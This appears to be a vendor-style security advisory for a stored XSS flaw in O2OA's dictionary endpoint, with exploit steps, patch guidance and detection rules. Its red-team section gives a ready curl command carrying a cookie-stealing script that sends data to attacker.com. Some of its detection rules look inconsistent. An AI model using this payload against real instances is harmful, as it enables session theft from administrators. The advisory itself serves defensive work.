CVE-2025-9658

Executive Summary

CVE-2025-9658 is a stored Cross-Site Scripting (XSS) vulnerability in O2OA versions up to and including 10.0-410. The flaw resides in the /x_portal_assemble_designer/jaxrs/dict/ endpoint, specifically within the Personal Profile Page component. An authenticated attacker can inject malicious scripts via the name, alias, or description parameters. When an administrator or other user views the crafted profile, the injected script executes in their browser session, potentially leading to session hijacking, data theft, or further lateral movement within the O2OA application. The vulnerability has a low CVSS score of 3.5 due to the requirement for authentication and user interaction, but the public availability of exploit details increases the risk.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby). It is a direct application-level flaw in the O2OA Java-based platform.

CVSS Breakdown & Threat Level

• CVSS Score: 3.5 (Low)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N
• Attack Vector (AV): Network – The attack is carried out over the network.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): Low – An attacker must have a valid user account.
• User Interaction (UI): Required – The victim must view the malicious profile.
• Scope (S): Unchanged – The vulnerability does not affect other components.
• Confidentiality (C): Low – Limited data exposure (e.g., session tokens).
• Integrity (I): Low – Limited ability to modify data (e.g., via XSS actions).
• Availability (A): None – No impact on system availability.

Threat Level: Low, but the public exploit and low complexity make it a realistic target for targeted attacks against O2OA instances.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS. The O2OA application fails to sanitize user-supplied input in the name, alias, and description fields of the Personal Profile Page. When a user submits a request to /x_portal_assemble_designer/jaxrs/dict/ with malicious JavaScript in these parameters, the server stores the payload in its database. Subsequently, when an administrator or another user navigates to the profile page, the unsanitized data is rendered in the HTML, causing the browser to execute the injected script.

Attack Flow:

1. Attacker logs into O2OA with a valid account.
2. Attacker sends a POST/PUT request to /x_portal_assemble_designer/jaxrs/dict/ with a payload like <script>alert('XSS')</script> in the name parameter.
3. The server stores the payload without sanitization.
4. An administrator visits the attacker's profile page.
5. The browser executes the script, which can steal cookies, perform actions on behalf of the admin, or redirect to a malicious site.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual): The vulnerable endpoint likely directly uses the input without encoding or validation.

// Vulnerable: Directly storing user input
public Response updateDict(DictData data) {
    // No sanitization of data.getName(), data.getAlias(), data.getDescription()
    dictService.save(data);
    return Response.ok().build();
}

Patched Code (Expected): The fix should implement output encoding and input validation.

// Patched: Sanitize input before storage
public Response updateDict(DictData data) {
    String sanitizedName = HtmlUtils.htmlEscape(data.getName());
    String sanitizedAlias = HtmlUtils.htmlEscape(data.getAlias());
    String sanitizedDescription = HtmlUtils.htmlEscape(data.getDescription());
    data.setName(sanitizedName);
    data.setAlias(sanitizedAlias);
    data.setDescription(sanitizedDescription);
    dictService.save(data);
    return Response.ok().build();
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• A valid user account on an O2OA instance (version <= 10.0-410).
• Network access to the O2OA server.

Exploit Steps:

1. Authenticate: Obtain a session cookie by logging in.
2. Craft Payload: Create a malicious payload. Example: <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
3. Send Request: Use curl or a similar tool to send a POST request to the vulnerable endpoint.

   curl -X POST "http://target-o2oa/x_portal_assemble_designer/jaxrs/dict/" \
   -H "Cookie: JSESSIONID=your_session_id" \
   -H "Content-Type: application/json" \
   -d '{"name":"<script>fetch(\"https://attacker.com/steal?cookie=\"+document.cookie)</script>","alias":"test","description":"test"}'
   

4. Trigger: An administrator or other user views the attacker's profile page. The script executes, sending the victim's cookies to the attacker's server.

Blue Team

Detection & Prevention:

• Web Application Firewall (WAF): Deploy rules to block requests containing <script> tags in the name, alias, or description parameters.
• Input Validation: Implement server-side validation to reject or sanitize HTML/JavaScript in these fields.
• Content Security Policy (CSP): Enforce a strict CSP header to prevent inline script execution.
• Monitor Logs: Look for unusual POST requests to /x_portal_assemble_designer/jaxrs/dict/ with suspicious payloads.

Lab Setup:

• Use a local O2OA instance (version 10.0-410) in a Docker container.
• Simulate the attack using the Red Team steps above.
• Monitor network traffic and application logs to identify the malicious request.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /x_portal_assemble_designer/jaxrs/dict/ containing <script> tags or JavaScript event handlers (e.g., onload, onerror).
  • Outbound connections from the O2OA server to unknown external IPs (potential data exfiltration).
• File IOCs:
  • Log entries in O2OA logs showing unsanitized input in the name, alias, or description fields.
• System IOCs:
  • Unexpected changes to user profiles (e.g., new entries with script content).

Detection Engineering

YARA Rule

rule CVE_2025_9658_O2OA_XSS {
    meta:
        description = "Detects stored XSS payloads in O2OA dict endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-9658"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $event_handler = /on\w+\s*=\s*["']?[^"'\s>]+/i
    condition:
        $xss_payload or $event_handler
}

Sigma Rule

title: O2OA Stored XSS via Dict Endpoint
id: 8f4b3c2a-1d5e-4f7a-9b0c-3e2d1f6a8b0c
status: experimental
description: Detects POST requests to /x_portal_assemble_designer/jaxrs/dict/ with potential XSS payloads
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/x_portal_assemble_designer/jaxrs/dict/'
        cs-uri-query|contains: 
            - '<script'
            - 'onload='
            - 'onerror='
    condition: selection
falsepositives:
    - Legitimate use of HTML in profile fields (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-9658 O2OA Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/x_portal_assemble_designer/jaxrs/dict/"; http_uri; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade O2OA: Apply the vendor's patch by upgrading to the next version (10.0-411 or later) as soon as it is released.
2. Input Sanitization: If immediate upgrade is not possible, implement a WAF rule to block requests containing <script> or JavaScript event handlers in the name, alias, and description parameters.
3. Disable Affected Endpoint: Temporarily disable the /x_portal_assemble_designer/jaxrs/dict/ endpoint if it is not critical for operations.

Long-Term Fixes:

• Code Review: Conduct a security code review of all user input handling, especially in REST API endpoints.
• Output Encoding: Ensure all user-supplied data is properly encoded before rendering in HTML.
• Security Testing: Integrate automated XSS scanning into the CI/CD pipeline.

Valters IT